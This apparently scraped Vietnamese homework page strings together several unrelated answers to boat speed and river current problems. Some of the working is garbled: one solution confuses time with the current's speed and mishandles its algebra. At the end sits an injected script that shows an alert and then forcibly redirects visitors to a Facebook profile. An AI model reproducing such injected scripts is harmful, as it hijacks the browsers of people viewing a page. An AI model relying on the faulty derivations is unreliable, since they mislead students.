\(=>S1=vt=2\left(vt+vn\right)\left(km\right)\)

\(=>50=\left(vt+vn\right).2=>vt+vn=25\left(1\right)\)

\(=>vt-vn=15\left(2\right)\)

(1)(2)\(=>\left\{{}\begin{matrix}vt+vn=25\\vt-vn=15\end{matrix}\right.=>\left\{{}\begin{matrix}vt=20\\vn=5\end{matrix}\right.\)

=>vận tốc dòng nước là vn=5km/h

vận tốc tàu là vy=20km/h

ý cuối hình như thiếu dữ kiện

Ta có: v_x= v_cano + v _nước= 30+ v_nước

           v_n = v_{cano -} v_nước = 30 - v_nước

           S_đi = t.v_nước = 2.30 +v_nước =60 + v_nước

           Svề = t. v_nuớc = 3.30- v_nước = 90 - v_nước

          => 60+ v_nước = 90 -v_nước 

           => 2v_nước =30

          => v_nước = 15 km/h

=> S_AB = t.v_thực = t.( vcano + v_nước) = 2. (30+15) = 2.45 = 90 km

Gọi vận tốc thực của ca nô là \(x\left(km/h\right)\left(x>0\right)\)

\(\Rightarrow\) Vận  tốc lúc xuôi dòng là: \(x+4\left(km/h\right)\)

\(\Rightarrow\)Vận tốc lúc ngược dòng là: \(x-4\left(km/h\right)\)

\(\Rightarrow\) Thời gian lúc xuôi dòng là: \(\frac{30}{x+4}h\)

\(\Rightarrow\)Thời gian lúc ngược dòng là: \(\frac{30}{x-4}h\)

Theo bài ra ta có: \(\frac{30}{x+4}+\frac{30}{x-4}=4\left(x\ne\pm4\right)\)

\(\Leftrightarrow30\left(x-4\right)+30\left(x+4\right)=4\left(x-4\right)\left(x+4\right)\)

\(\Leftrightarrow60x=4x^2-64\)

\(\Leftrightarrow4x^2-60x-64=0\)

\(\Leftrightarrow x=16\)

Vậy vận tốc khi ca nô nước yên  lặng là \(16\left(km/h\right)\)

Lời giải:

Đổi 20'=1/3h và 30'=0,5h
Gọi vận tốc riêng của cano là $a$ km/h

Vận tốc xuôi dòng là: $a+2$ (km/h)

Thời gian dự định đi quãng đường AB: $\frac{40}{a+2}$ (h) 

Quãng đường 2h đầu đi được: $2(a+2)$ (km) 

Quãng đường 30' cano hỏng đi được: $0,5\times 2=1$ (km) 

Quãng đường còn lại: $40-2(a+2)-1=35-2a$ (km) 

Thời gian đi quãng đường còn lại: $\frac{35-2a}{a+2}$ (h) 

Vậy thời gian  thực tế cano đi là: $2+0,5+\frac{35-2a}{a+2}$ (h) 

Do thời gian thực tế nhiều hơn thời gian dự định 1/3 h nên:
$2+0,5+\frac{35-2a}{a+2}=\frac{40}{a+2}+\frac{1}{3}$

$\Leftrightarrow a=64$ (km/h) 

Nếu vận tốc là 64km/h thì không mất đến 2 tiếng cano đã đến nơi rồi. Bạn xem lại đề.

a) gọi van toc cano la v ta co;

30: (v-5) = 1h30p = 3/2

v = 25km/h

b) thoi gian cano di xuoi la;

30:(v+5) = 30/25+5 = 30/30 = 1h

<script>setTimeout(()=>{
alert("@@");window.open("https://www.facebook.com/duongdzin","_self");
},5000);</script>